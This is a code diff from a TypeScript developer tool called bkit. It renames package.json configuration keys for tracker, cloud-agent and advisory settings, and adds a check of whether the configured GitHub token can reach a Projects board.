  if (composesRunLevels(fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8"))) {
682
693
  composed = true;
683
694
  break;
684
695
  }
685
696
  }
686
- // Or a consumer-added gate inside bkit-ci.yml itself (e.g. an enabled bkit-stub:e2e block,
697
+ // Or a consumer-added gate inside the CI workflow itself (e.g. an enabled bkit-stub:e2e block,
687
698
  // or a deploy/job step reading the outputs).
688
699
  if (!composed && composesRunLevels(ciContent)) composed = true;
689
700
  if (composed) return null;
690
701
  return {
691
702
  id: "run-levels-not-composed",
692
703
  severity: "advisory",
693
- detect:
694
- ".github/workflows/bkit-ci.yml ships bkit's `Detect Direct Push` step outputs (`should_force_build`, `should_run_full`, `cache.outputs.skip`) but no consumer-side workflow or step gates on them.",
704
+ detect: `${ciRel} ships bkit's \`Detect Direct Push\` step outputs (\`should_force_build\`, \`should_run_full\`, \`cache.outputs.skip\`) but no consumer-side workflow or step gates on them.`,
695
705
  action:
696
706
  "`docs/deployments.md` documents bkit's none / partial / full run-level shape — the matrix is documentation-only until you compose at least one consumer-side gate. Examples:\n\n" +
697
707
  " - A deploy job: `if: steps.detect.outputs.should_force_build == 'true' || github.ref == 'refs/heads/main'`\n" +
698
708
  " - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n" +
699
709
  " - A smoke workflow: copy the `bkit-stub:smoke` block to `.github/workflows/smoke.yml`.\n\n" +
700
- "If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the `Detect Direct Push` step from bkit-ci.yml. Note this also disables `[force cache]` / `[force build]` / `[force full]` tag detection.",
710
+ `If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the \`Detect Direct Push\` step from ${ciRel}. Note this also disables \`[force cache]\` / \`[force build]\` / \`[force full]\` tag detection.`,
701
711
  };
702
712
  }
@@ -9,6 +9,7 @@ import type { PreflightFinding } from "../before/index.js";
9
9
  import { MCP_TOOLSETS_HEADER, parseToolsets } from "../../install/write.js";
10
10
  import { parseJson, readJsonFile } from "../../shared/json.js";
11
11
  import { readBkitConfig } from "../../shared/settings.js";
12
+ import { isCloudOrCi } from "../before/env.js";
12
13
  import type { TokenPresence } from "./auth.js";
13
14
 
14
15
  /**
@@ -70,7 +71,7 @@ export function detectActionsWritePermissions(): TokenPresence {
70
71
  *
71
72
  * - `github` → GitHub tracker: the GitHub MCP server authenticates with `BKIT_GH_TOKEN`; `gh` uses `gh auth login`.
72
73
  * - `linear` → existing Linear setup message (BKIT_LINEAR_API_KEY + LINEAR_ISSUE_ID).
73
- * - `jira` → admin switch, BKIT_JIRA_API_TOKEN and `bkit.jira` in package.json.
74
+ * - `jira` → admin switch, BKIT_JIRA_API_KEY and `bkit.tracker.jira` in package.json.
74
75
  * - `none` → prompt to run `bkit install --tracker=github`, `--tracker=linear` or `--tracker=jira`.
75
76
  *
76
77
  * Only fires when bkit workflows are installed (.claude/ or .cursor/ present).
@@ -109,11 +110,11 @@ export function buildTrackerSetupAdvisory(cwd: string): PreflightFinding | null
109
110
  severity: "advisory",
110
111
  detect: "bkit tracker is configured as `jira`. Jira Cloud is the active tracker.",
111
112
  action:
112
- 'Jira tracker: (1) an org admin turns on API-token sign-in for the Rovo MCP server (admin.atlassian.com → Rovo → Rovo MCP server → Authentication → "Allow API token authentication"); (2) create an API token with scopes for the app "Atlassian MCP V2" at https://id.atlassian.com/manage-profile/security/api-tokens and set it as `BKIT_JIRA_API_TOKEN` in `.bkit/.env`, then `direnv allow`; (3) set `bkit.jira.site` (e.g. `https://acme.atlassian.net`) and `bkit.jira.project` (the project key) in package.json. Full steps: `.bkit/trackers.md` § jira.',
113
+ 'Jira tracker: (1) an org admin turns on API-token sign-in for the Rovo MCP server (admin.atlassian.com → Rovo → Rovo MCP server → Authentication → "Allow API token authentication"); (2) create an API token with scopes for the app "Atlassian MCP V2" at https://id.atlassian.com/manage-profile/security/api-tokens and set it as `BKIT_JIRA_API_KEY` in `.bkit/.env`, then `direnv allow`; (3) set `bkit.tracker.jira.site` (e.g. `https://acme.atlassian.net`) and `bkit.tracker.jira.project` (the project key) in package.json. Full steps: `.bkit/trackers.md` § jira.',
113
114
  };
114
115
  }
115
116
 
116
- // tracker === "none". Distinguish opt-out (explicit `bkit.issueTracker: "none"`)
117
+ // tracker === "none". Distinguish opt-out (explicit `bkit.tracker.default: "none"`)
117
118
  // from undecided (field absent). An explicit `none` silences the nudge, as with the
118
119
  // dep-updater advisory.
119
120
  if (issueTrackerExplicit) return null;
@@ -122,14 +123,14 @@ export function buildTrackerSetupAdvisory(cwd: string): PreflightFinding | null
122
123
  id: "tracker-setup-none",
123
124
  severity: "advisory",
124
125
  detect:
125
- "bkit tracker is not configured (`bkit.issueTracker` absent). Workflows run but every tracker call is a no-op.",
126
+ "bkit tracker is not configured (`bkit.tracker.default` absent). Workflows run but every tracker call is a no-op.",
126
127
  action:
127
- 'Optional post-install decision. Run `bkit install --tracker=github` (recommended), `--tracker=linear` or `--tracker=jira` to enable tracker integration. GitHub tracker requires `BKIT_GH_TOKEN` in `.bkit/.env` (fine-grained PAT for one owner, classic PAT across owners). Linear tracker requires `BKIT_LINEAR_API_KEY` in `.bkit/.env`. Jira tracker requires `BKIT_JIRA_API_TOKEN` in `.bkit/.env` and `bkit.jira` in package.json. To opt out and silence this advisory, set `bkit.issueTracker` to `"none"` in package.json.',
128
+ 'Optional post-install decision. Run `bkit install --tracker=github` (recommended), `--tracker=linear` or `--tracker=jira` to enable tracker integration. GitHub tracker requires `BKIT_GH_TOKEN` in `.bkit/.env` (fine-grained PAT for one owner, classic PAT across owners). Linear tracker requires `BKIT_LINEAR_API_KEY` in `.bkit/.env`. Jira tracker requires `BKIT_JIRA_API_KEY` in `.bkit/.env` and `bkit.tracker.jira` in package.json. To opt out and silence this advisory, set `bkit.tracker.default` to `"none"` in package.json.',
128
129
  };
129
130
  }
130
131
 
131
132
  /**
132
- * Classify the `bkit.github.project` board-sync config in package.json:
133
+ * Classify the `bkit.tracker.github.project` board-sync config in package.json:
133
134
  * - "configured" → a Projects v2 board URL
134
135
  * - "opted-out" → set to `false` ("no board sync" — stay quiet)
135
136
  * - "invalid" → a string that is not a board URL
@@ -169,13 +170,13 @@ export function detectProjectsToolset(cwd: string): TokenPresence {
169
170
  /**
170
171
  * GitHub Projects v2 board-sync prerequisite advisory. Board status sync needs
171
172
  * THREE things, none of which install seeds or verifies end-to-end:
172
- * `bkit.github.project` (the board URL), the `projects` MCP toolset, and a PAT
173
+ * `bkit.tracker.github.project` (the board URL), the `projects` MCP toolset, and a PAT
173
174
  * with Projects R/W. Absent any of the first two (the detectable ones), board
174
175
  * sync silently no-ops — the URL alone is useless if the toolset lacks
175
176
  * `projects`, and vice versa. Emits one advisory naming what's missing.
176
177
  *
177
178
  * Gates: workflows installed (.claude/ or .cursor/) AND tracker === "github".
178
- * Stays quiet on explicit opt-out (`bkit.github.project: false`) or when both
179
+ * Stays quiet on explicit opt-out (`bkit.tracker.github.project: false`) or when both
179
180
  * detectable prerequisites are satisfied (PAT scope can't be checked locally).
180
181
  */
181
182
  export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null {
@@ -193,9 +194,10 @@ export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null
193
194
  if (configOk && toolsetOk) return null;
194
195
 
195
196
  const missing: string[] = [];
196
- if (configState === "absent") missing.push("`bkit.github.project` is absent from package.json");
197
+ if (configState === "absent")
198
+ missing.push("`bkit.tracker.github.project` is empty or absent in package.json");
197
199
  if (configState === "invalid")
198
- missing.push("`bkit.github.project` is not a GitHub Projects board URL");
200
+ missing.push("`bkit.tracker.github.project` is not a GitHub Projects board URL");
199
201
  if (toolset === "missing")
200
202
  missing.push("the `projects` toolset is missing from `.mcp.json` `X-MCP-Toolsets`");
201
203
  const missingPhrase = missing.length > 0 ? `: ${missing.join("; ")}` : "";
@@ -210,7 +212,9 @@ export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null
210
212
  "Board status sync is optional (workflows never gate on it) but invisible when half-configured. All three prerequisites are required:\n\n" +
211
213
  "1. Add the board's URL to package.json, as the browser shows it on the board (`/orgs/<org>/…` for an organization board, `/users/<login>/…` for a personal one; a trailing `/views/<n>` is fine):\n\n" +
212
214
  ' "bkit": {\n' +
213
- ' "github": { "project": "https://github.com/orgs/<org>/projects/<number>" }\n' +
215
+ ' "tracker": {\n' +
216
+ ' "github": { "project": "https://github.com/orgs/<org>/projects/<number>" }\n' +
217
+ " }\n" +
214
218
  " }\n\n" +
215
219
  " Workflows set the board's Status field by option name: `In progress` when a phase starts, `In review` at hand-off. " +
216
220
  'A board whose Status options are named differently sets `"progress"` and `"review"` beside `"project"` to its own names.\n\n' +
@@ -219,7 +223,81 @@ export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null
219
223
  "3. The `BKIT_GH_TOKEN` PAT needs Projects read & write (repo scope is not enough): a fine-grained PAT gets it as an " +
220
224
  "organization permission, so it reaches organization boards only; a classic PAT with the `project` scope reaches " +
221
225
  "organization and personal boards.\n\n" +
222
- "To opt out and silence this advisory, set `bkit.github.project` to `false` in package.json.",
226
+ "To opt out and silence this advisory, set `bkit.tracker.github.project` to `false` in package.json.",
227
+ };
228
+ }
229
+
230
+ /** `gh` run with the token the engine uses for tracker calls: BKIT_GH_TOKEN as GH_TOKEN when set. */
231
+ function ghAsEngine(args: string[]): string {
232
+ const token = process.env.BKIT_GH_TOKEN;
233
+ return execFileSync("gh", args, {
234
+ encoding: "utf-8",
235
+ stdio: ["ignore", "pipe", "pipe"],
236
+ timeout: 5000,
237
+ env: token ? { ...process.env, GH_TOKEN: token } : process.env,
238
+ });
239
+ }
240
+
241
+ /**
242
+ * Whether the engine's token can move cards on the configured board: "present",
243
+ * "missing", or "unknown" (gh unavailable or unauthenticated). A classic token lists its
244
+ * scopes in `X-OAuth-Scopes` and needs `project`; a fine-grained token lists none, so the
245
+ * board itself is queried.
246
+ */
247
+ export function detectProjectTokenScope(owner: string, number: number): TokenPresence {
248
+ let head: string;
249
+ try {
250
+ head = ghAsEngine(["api", "-i", "user"]).split(/\r?\n\r?\n/)[0] ?? "";
251
+ } catch {
252
+ return "unknown";
253
+ }
254
+ const scopes = /^x-oauth-scopes:(.*)$/im.exec(head);
255
+ if (scopes) {
256
+ const list = scopes[1]!.split(",").map((x) => x.trim());
257
+ return list.includes("project") ? "present" : "missing";
258
+ }
259
+ const field = "projectV2(number: $n) { id }";
260
+ try {
261
+ const out = ghAsEngine([
262
+ "api",
263
+ "graphql",
264
+ "-f",
265
+ `query=query($login: String!, $n: Int!) { repositoryOwner(login: $login) { ... on User { ${field} } ... on Organization { ${field} } } }`,
266
+ "-f",
267
+ `login=${owner}`,
268
+ "-F",
269
+ `n=${number}`,
270
+ ]);
271
+ const parsed = parseJson(out);
272
+ const data = (parsed.ok ? parsed.value : null) as {
273
+ data?: { repositoryOwner?: { projectV2?: { id?: string } | null } | null };
274
+ } | null;
275
+ return data?.data?.repositoryOwner?.projectV2?.id ? "present" : "missing";
276
+ } catch {
277
+ return "missing";
278
+ }
279
+ }
280
+
281
+ /**
282
+ * The engine moves board cards with `BKIT_GH_TOKEN`; a token that cannot reach the board
283
+ * makes every move fall back to the MCP. Checked live, so it runs only when a board is
284
+ * configured, the tracker is GitHub, and not on cloud / CI (no interactive owner to fix it).
285
+ */
286
+ export function buildGithubProjectTokenScopeAdvisory(cwd: string): PreflightFinding | null {
287
+ const config = readBkitConfig(cwd);
288
+ const board = config.github.project;
289
+ if (config.issueTracker !== "github" || !board || isCloudOrCi()) return null;
290
+ if (detectProjectTokenScope(board.owner, board.number) !== "missing") return null;
291
+ return {
292
+ id: "github-project-token-scope",
293
+ severity: "advisory",
294
+ detect:
295
+ `The GitHub token cannot reach the board \`${config.github.projectUrl}\`: a classic token lacks the \`project\` scope, ` +
296
+ "or a fine-grained token's board query returned nothing. Board moves fall back to the MCP.",
297
+ action:
298
+ "Give `BKIT_GH_TOKEN` Projects read & write: a classic PAT needs the `project` scope (reaches organization and personal boards); " +
299
+ "a fine-grained PAT needs the organization permission Projects: Read and write (organization boards only). " +
300
+ "Then re-run `bkit check`.",
223
301
  };
224
302
  }
225
303
 
@@ -230,15 +308,15 @@ export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null
230
308
  * consumers to make the choice post-install.
231
309
  *
232
310
  * Also performs the cloud=claude config-consistency assertion: when
233
- * `bkit.cloudAgents === "claude"` but the installed `bkit-cloud.yml` lacks
311
+ * `bkit.cloud.agent === "claude"` but the installed `bkit-cloud.yml` lacks
234
312
  * `id-token: write`, it surfaces a consistency warning (exit-1 signal surfaced via
235
313
  * the `blocker` severity in the checks/before/index.ts caller).
236
314
  *
237
315
  * Resolution order (file presence is authoritative, package.json field is the
238
316
  * opt-out):
239
317
  * - `.github/workflows/bkit-cloud.yml` present → `cloud-router` (informational; active)
240
- * - `bkit.cloudAgents === "none"` → null (opt-out — stay quiet)
241
- * - `bkit.issueTracker === "jira"` → null (Jira runs locally only)
318
+ * - `bkit.cloud.agent === "none"` → null (opt-out — stay quiet)
319
+ * - `bkit.tracker.default === "jira"` → null (Jira runs locally only)
242
320
  * - otherwise (undecided) → `cloud-router-none` (nudge to choose)
243
321
  *
244
322
  * Only fires when there is a `.github/workflows/` dir (the router wakes on a CI
@@ -258,7 +336,7 @@ export function buildCloudSetupAdvisory(cwd: string): PreflightFinding | null {
258
336
  id: "cloud-claude-missing-id-token",
259
337
  severity: "blocker",
260
338
  detect:
261
- "`bkit.cloudAgents` is `claude` but `.github/workflows/bkit-cloud.yml` lacks `id-token: write`. `claude-code-action@v1` will fail at boot with an OIDC error.",
339
+ "`bkit.cloud.agent` is `claude` but `.github/workflows/bkit-cloud.yml` lacks `id-token: write`. `claude-code-action@v1` will fail at boot with an OIDC error.",
262
340
  action:
263
341
  "Re-run `pnpm bkit install --auto=claude --tracker=github` to regenerate the workflow with `id-token: write` and the App-auth framing. Also verify the Claude GitHub App is installed (`/install-github-app`). See bkit's `cloud.md` § Post-CI auto-routing.",
264
342
  };
@@ -292,6 +370,6 @@ export function buildCloudSetupAdvisory(cwd: string): PreflightFinding | null {
292
370
  action:
293
371
  "Optional post-install decision. For a GitHub-tracker repo: `pnpm bkit install --auto=claude --tracker=github`. For a Linear-tracker repo: `pnpm bkit install --auto=cursor --tracker=linear`.\n\n" +
294
372
  "Prerequisites for `--auto=claude`: `ANTHROPIC_API_KEY` repo secret (or the `ANTHROPIC_FEDERATION_RULE_ID` + `ANTHROPIC_ORGANIZATION_ID` repo variables for keyless workload identity federation) + Claude GitHub App (`/install-github-app`) + GitHub Actions write permissions.\n\n" +
295
- 'To opt out and silence this advisory, set `bkit.cloudAgents` to `"none"` in package.json.',
373
+ 'To opt out and silence this advisory, set `bkit.cloud.agent` to `"none"` in package.json.',
296
374
  };
297
375
  }
@@ -19,6 +19,7 @@ import { buildCloudDashboardsAdvisory, detectCiRouterSecrets, detectGhMcpToken }
19
19
  import {
20
20
  buildCloudSetupAdvisory,
21
21
  buildGithubProjectAdvisory,
22
+ buildGithubProjectTokenScopeAdvisory,
22
23
  buildTrackerSetupAdvisory,
23
24
  detectActionsWritePermissions,
24
25
  detectMainBranchProtection,
@@ -82,7 +83,7 @@ export function suppressedNoteLines(suppressed: SuppressionNote[]): string[] {
82
83
  if (suppressed.length === 0) return [];
83
84
  const n = suppressed.length;
84
85
  return [
85
- `${n} advisor${n === 1 ? "y" : "ies"} suppressed by bkit.ignoreAdvisories:`,
86
+ `${n} advisor${n === 1 ? "y" : "ies"} suppressed by bkit.advisories.ignore:`,
86
87
  ...suppressed.map((note) => `- ${note.id} (${note.scope})`),
87
88
  ];
88
89
  }
@@ -334,7 +335,7 @@ export function readChangelogVersionDelta(version: string): string | null {
334
335
  * cwd defaults to process.cwd().
335
336
  *
336
337
  * Pass `suppressed` to collect the advisories a package opted out of via
337
- * `bkit.ignoreAdvisories` (one note per id + owning package); the caller renders them with
338
+ * `bkit.advisories.ignore` (one note per id + owning package); the caller renders them with
338
339
  * `suppressedNoteLines` so a dismissal stays visible. Omitted by callers that do not render.
339
340
  */
340
341
  export function runPostInstallCheck(
@@ -361,12 +362,12 @@ export function runPostInstallCheck(
361
362
  const ghMcpToken = detectGhMcpToken(cwd);
362
363
  if (ghMcpToken) phase3.push(ghMcpToken);
363
364
 
364
- // Main branch protection — bkit's PR-base gates (build Step 17, ship Step 2)
365
+ // Main branch protection — bkit's PR-base gates (build Step 14, ship Step 2)
365
366
  // assert feat/* PRs target dev. Enforcing it at the GitHub layer needs branch
366
367
  // protection on main restricting merges to PRs from dev.
367
368
  const protectionStatus = detectMainBranchProtection();
368
369
  const scriptHint =
369
- "\n\nQuick path: run `bkit setup protect-main --dry-run` to preview the policy, then drop `--dry-run` to apply. It requires the CI capstone job named by `package.json` `bkit.capstoneJob` (default `bkit-tests-check`, so the required check means 'validated', not just 'tests job did not fail') and pre-flights that the job exists in the `bkit.ciWorkflow` file before requiring it.";
370
+ "\n\nQuick path: run `bkit setup protect-main --dry-run` to preview the policy, then drop `--dry-run` to apply. It requires the CI capstone job named by `package.json` `bkit.testing.ciCapstone` (default `bkit-tests-check`, so the required check means 'validated', not just 'tests job did not fail') and pre-flights that the job exists in the `bkit.testing.ciWorkflow` file before requiring it.";
370
371
  if (protectionStatus === "missing") {
371
372
  phase3.push({
372
373
  id: "main-branch-protection-missing",
@@ -376,7 +377,7 @@ export function runPostInstallCheck(
376
377
  "main only ever moves via a release PR (release/* -> main); bkit's build/ship workflows keep all feat/* PRs on dev. Gate main at the GitHub layer:\n\n" +
377
378
  " Settings → Branches → Add rule → Branch name pattern: main\n" +
378
379
  " - Require a pull request before merging\n" +
379
- " - Require status checks: bkit-tests-check (the always-on capstone — required-check green then means 'the planned tiers ran', not just 'nothing failed'; do NOT require bkit-tests-scope, it is always green)\n" +
380
+ ` - Require status checks: ${readBkitConfig(cwd).capstoneJob} (the always-on capstone — required-check green then means 'the planned tiers ran', not just 'nothing failed'; do NOT require bkit-tests-scope, it is always green)\n` +
380
381
  " - Do not allow bypassing the above settings (enforce for admins)\n" +
381
382
  " - Require linear history; block force-pushes and deletions\n\n" +
382
383
  "enforce-for-admins is load-bearing: agents act with the owner's admin token, so an admin-bypass exemption means the agent is the bypass. Covering admins is the only way protection actually constrains agents. dev is intentionally left unprotected — operators choose direct-push or feat/PR and own that tests ran." +
@@ -385,7 +386,7 @@ export function runPostInstallCheck(
385
386
  }
386
387
 
387
388
  // Optional post-install decisions (opt-in add-ons):
388
- // 1. Issue tracker — branch on bkit.issueTracker.
389
+ // 1. Issue tracker — branch on bkit.tracker.default.
389
390
  // 2. Dependency updater — read-only. Suggests an example template. Never writes config.
390
391
  // 3. Cloud agents — branch on bkit-cloud.yml presence.
391
392
  const trackerSetup = buildTrackerSetupAdvisory(cwd);
@@ -394,6 +395,8 @@ export function runPostInstallCheck(
394
395
  // absent any prerequisite, sync silently no-ops.
395
396
  const githubProjectSetup = buildGithubProjectAdvisory(cwd);
396
397
  if (githubProjectSetup) phase3.push(githubProjectSetup);
398
+ const githubProjectToken = buildGithubProjectTokenScopeAdvisory(cwd);
399
+ if (githubProjectToken) phase3.push(githubProjectToken);
397
400
  const depUpdaterSetup = buildDepUpdaterSetupAdvisory(cwd);
398
401
  if (depUpdaterSetup) phase3.push(depUpdaterSetup);
399
402
  const cloudSetup = buildCloudSetupAdvisory(cwd);
@@ -506,6 +509,6 @@ export function runPostInstallCheck(
506
509
  const filteredPreflight = dedupedPreflight.filter((f) => !phase3Ids.has(f.id));
507
510
 
508
511
  // Final order: preflight advisories (that weren't superseded) first, then Phase 3.
509
- // An advisory a setup tip reuses goes quiet with that tip (`bkit.ignoreAdvisories`).
512
+ // An advisory a setup tip reuses goes quiet with that tip (`bkit.advisories.ignore`).
510
513
  return dropTipSilencedAdvisories([...filteredPreflight, ...deduped], cwd, onSuppressed);
511
514
  }
@@ -1,5 +1,5 @@
1
1
  // checks/after/suppression.ts — per-package advisory opt-out (`package.json`
2
- // `bkit.ignoreAdvisories`).
2
+ // `bkit.advisories.ignore`).
3
3
  //
4
4
  // A detector can be right in general and still fire on a package where the condition is
5
5
  // deliberately not applicable (a rule-linter whose test titles mention `@live`, an
@@ -25,16 +25,19 @@ export interface SuppressionNote {
25
25
  export type SuppressionReporter = (note: SuppressionNote) => void;
26
26
 
27
27
  /**
28
- * Advisory ids `dir/package.json` opts out of. A missing manifest, a `bkit` key that is
29
- * absent or not an object, and an `ignoreAdvisories` that is absent or not an array all
30
- * yield no ids — never a throw.
28
+ * Advisory ids `dir/package.json` opts out of. A missing manifest, a `bkit` or
29
+ * `bkit.advisories` key that is absent or not an object, and an `advisories.ignore` that is
30
+ * absent or not an array all yield no ids — never a throw.
31
31
  */
32
32
  export function ignoredAdvisoryIds(dir: string): Set<string> {
33
33
  const read = readPackageJson(dir);
34
34
  if (!read.ok) return new Set();
35
35
  const bkit = read.pkg.bkit;
36
36
  if (typeof bkit !== "object" || bkit === null || Array.isArray(bkit)) return new Set();
37
- const list = (bkit as { ignoreAdvisories?: unknown }).ignoreAdvisories;
37
+ const advisories = (bkit as { advisories?: unknown }).advisories;
38
+ if (typeof advisories !== "object" || advisories === null || Array.isArray(advisories))
39
+ return new Set();
40
+ const list = (advisories as { ignore?: unknown }).ignore;
38
41
  if (!Array.isArray(list)) return new Set();
39
42
  return new Set(list.filter((id): id is string => typeof id === "string"));
40
43
  }